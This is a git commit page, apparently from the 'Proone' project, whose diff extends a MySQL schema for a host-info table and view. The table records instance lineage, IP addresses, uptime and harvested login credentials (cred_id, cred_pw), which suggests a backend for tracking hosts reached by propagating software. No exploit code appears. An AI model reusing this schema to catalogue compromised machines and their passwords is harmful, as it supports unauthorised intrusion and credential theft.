diff options
| author | David Timber <mieabby@gmail.com> | 2021-08-09 17:30:18 +1000 |
|---|---|---|
| committer | David Timber <mieabby@gmail.com> | 2021-08-09 19:20:40 +1000 |
| commit | eea0a9fbbf1aff1eac1f17914d5c116de98e1d93 (patch) | |
| tree | 776e61c070d7afa0df683093b82f327631534341 /src/data | |
| parent | f6e94a01fd84b693c5a74b8f40edb4dc89836bdf (diff) | |
Protocol and build system change ...
* Use autoheader
* Add --enable-minmem
* Add OS code. Bin archive and protocol changed accordingly
* Add instance flags in hostinfo frame. Bitfield util added for this
* Add org_id in hostinfo for lineage record
* SQL schema change: store integer value of hostinfo arch and os
* Remove config.c
* prne_index_nybin() now sets errno
* Instance ids are now preserved for lineage record
* Proone: remove arguments after init
* Fix bug in prne_htbt_ser_bin_meta(): alloc_len is not checked
Diffstat (limited to 'src/data')
| -rw-r--r-- | src/data/sql/hi-create.sql | 8 |
1 files changed, 7 insertions, 1 deletions
diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql index b173aaa..8859248 100644 --- a/src/data/sql/hi-create.sql +++ b/src/data/sql/hi-create.sql @@ -1,5 +1,6 @@ CREATE TABLE `prne-hi` ( `instance_id` binary(16) NOT NULL, + `org_id` binary(16) DEFAULT NULL, `inserted` datetime NOT NULL, `updated` datetime NOT NULL, `parent_uptime` bigint(20) unsigned DEFAULT NULL, @@ -13,7 +14,9 @@ CREATE TABLE `prne-hi` ( `cred_id` varchar(255) DEFAULT NULL, `cred_pw` varchar(255) DEFAULT NULL, `crash_cnt` int(10) unsigned DEFAULT NULL, - `arch` varchar(255) DEFAULT NULL, + `arch` tinyint unsigned DEFAULT NULL, + `os` tinyint unsigned DEFAULT NULL, + `flags` varbinary(255) DEFAULT NULL, `ipaddr` binary(16) DEFAULT NULL, PRIMARY KEY (`instance_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; @@ -21,6 +24,7 @@ CREATE TABLE `prne-hi` ( CREATE VIEW `prne`.`prne-hi-view` AS SELECT HEX(`prne`.`prne-hi`.`instance_id`) AS `HEX(instance_id)`, + HEX(`prne`.`prne-hi`.`org_id`) AS `HEX(org_id)`, `prne`.`prne-hi`.`inserted` AS `inserted`, `prne`.`prne-hi`.`updated` AS `updated`, `prne`.`prne-hi`.`parent_uptime` AS `parent_uptime`, @@ -35,6 +39,8 @@ CREATE VIEW `prne`.`prne-hi-view` AS `prne`.`prne-hi`.`cred_pw` AS `cred_pw`, `prne`.`prne-hi`.`crash_cnt` AS `crash_cnt`, `prne`.`prne-hi`.`arch` AS `arch`, + `prne`.`prne-hi`.`os` AS `os`, + HEX(`prne`.`prne-hi`.`flags`) AS `flags`, INET6_NTOA(`prne`.`prne-hi`.`ipaddr`) AS `INET6_NTOA(ipaddr)` FROM `prne`.`prne-hi`; |